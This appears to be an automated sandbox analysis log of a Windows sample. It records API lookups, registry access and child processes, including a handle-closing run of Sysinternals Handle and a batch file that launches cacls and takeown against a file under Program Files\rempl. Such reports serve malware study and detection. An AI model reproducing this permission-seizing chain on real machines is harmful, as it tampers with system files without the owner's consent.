Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 73	1	Fn Data
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #127: mxkefu6a64.exe

68

0

»

Information	Value
ID	#127
File Name	c:\users\fd1hvy\appdata\local\temp\mxkefu6a64.exe
Command Line	mxkeFu6a.exe -accepteula -c -y -p handles -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:01, Reason: Child Process
Unmonitor	End Time: 00:03:27, Reason: Self Terminated
Monitor Duration	00:00:26

OS Process Information

»

Information	Value
PID	0x12e4
Parent PID	0x1244 (c:\users\fd1hvy\desktop\mxkefu6a.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 12F8 0x 1320

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
mxkefu6a64.exe	0x140000000	0x140045FFF	Process Termination	-	64-bit	-			... Region Actions Download Dump

Threads

Thread 0x12f8

68

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\system32\kernel32.dll, base_address = 0x7ff92fdd0000	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, address_out = 0x7ff92fdee1a0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlsFree, address_out = 0x7ff92fdee4e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlsGetValue, address_out = 0x7ff92fde4710	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlsSetValue, address_out = 0x7ff92fdebcd0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x7ff92fdf1fb0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateEventExW, address_out = 0x7ff92fdf1f10	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x7ff92fdf1f70	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x7ff92fdee1e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x7ff92fdeb200	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x7ff931f83770	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x7ff931f80f10	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x7ff931f809e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x7ff92fdee6e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolWait, address_out = 0x7ff931f80ff0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x7ff931f808e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x7ff931fe6fa0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x7ff931fc51c0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x7ff931fe99c0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x7ff92fdee2c0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x7ff92fe06b80	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7ff92f228b70	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x7ff92fe06d50	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = CompareStringEx, address_out = 0x7ff92fde8f30	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetDateFormatEx, address_out = 0x7ff92fe06e90	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x7ff92fdec1d0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetTimeFormatEx, address_out = 0x7ff92fe070a0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x7ff92fdee3b0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = IsValidLocaleName, address_out = 0x7ff92fe071d0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = LCMapStringEx, address_out = 0x7ff92fde62d0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetCurrentPackageId, address_out = 0x7ff92f1bf2e0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetTickCount64, address_out = 0x7ff92fde5eb0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\appdata\local\temp\mxkefu6a64.exe, file_name_orig = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\system32\kernel32.dll, base_address = 0x7ff92fdd0000	1	Fn
Module	Get Address	module_name = c:\windows\system32\kernel32.dll, function = IsWow64Process, address_out = 0x7ff92fdec1b0	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Sysinternals	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Sysinternals	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Sysinternals, value_name = EulaAccepted, data = 0	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle, value_name = EulaAccepted, data = 1	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\Software\Sysinternals\Handle, value_name = EulaAccepted, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 101	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 44	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 58	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 138	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 85	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 59	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 56	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 69	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 74	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 78	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 72	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 49	1	Fn Data
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #128: cmd.exe

300

0

»

Information	Value
ID	#128
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\rempl\does.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:02, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:23

OS Process Information

»

Information	Value
PID	0xe60
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 101C 0x 12E8

Threads

Thread 0x101c

300

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 80, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 53	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x1398, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x106c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 15	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "does.exe"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "does.exe"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
